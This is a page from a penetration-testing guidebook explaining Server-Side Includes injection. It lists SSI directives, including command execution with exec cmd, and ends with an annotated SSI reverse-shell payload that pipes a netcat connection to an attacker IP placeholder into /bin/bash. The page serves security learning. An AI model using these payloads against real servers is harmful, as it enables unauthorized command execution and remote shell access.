Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page

Was this helpful?

  1. Pentesting Process
  2. Web Attacks

SSI

Server-Side Includes.

Server-side includes is a technology used by web applications to create dynamic content on HTML pages before loading or during the rendering process by evaluating SSI directives. SSI directives are not always present in modern web servers and are not a standard feature of all servers. There are web servers that support SSI directives and others that do not. However, many popular web servers such as Apache, Nginx and Microsoft IIS support SSI directives and provide features to enable and configure them. The use of SSI on a web application can be identified by checking extensions such as .shtml, .shtm, or .stm. That said, there are non-default server configurations that may allow other extensions (such as .html) to process SSI directives.

SSI directives are enclosed between the tags <!--# and -->.

Date

<!--#echo var="DATE_LOCAL" -->

Modification date of a file

<!--#flastmod file="index.html" -->

CGI Program results

<!--#include virtual="/cgi-bin/counter.pl" -->

Including a footer

<!--#include virtual="/footer.html" -->

Executing commands

<!--#exec cmd="ls" -->

Setting variables

<!--#set var="name" value="Rich" -->

Including virtual files (same directory)

<!--#include virtual="file_to_include.html" -->

Including files (same directory)

<!--#include file="file_to_include.html" -->

Print all variables

<!--#printenv -->

<!--#echo var="DATE_LOCAL" -->
<!--#flastmod file="index.html" -->
<!--#include virtual="/cgi-bin/counter.pl" -->
<!--#include virtual="/footer.html" -->
<!--#exec cmd="ls" -->
<!--#set var="name" value="Rich" -->
<!--#include virtual="file_to_include.html" -->
<!--#include file="file_to_include.html" -->
<!--#printenv -->

Reverse Shell

<!--#exec cmd="mkfifo /tmp/foo;nc <MY_IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
  • mkfifo /tmp/foo: Create a FIFO special file in /tmp/foo

  • nc <IP> <PORT> 0</tmp/foo: Connect to the my machine and redirect the standard input descriptor

  • | bin/bash 1>/tmp/foo: Execute /bin/bash redirecting the standard output descriptor to /tmp/foo

  • rm /tmp/foo: Cleanup the FIFO file

Last updated 7 months ago

Was this helpful?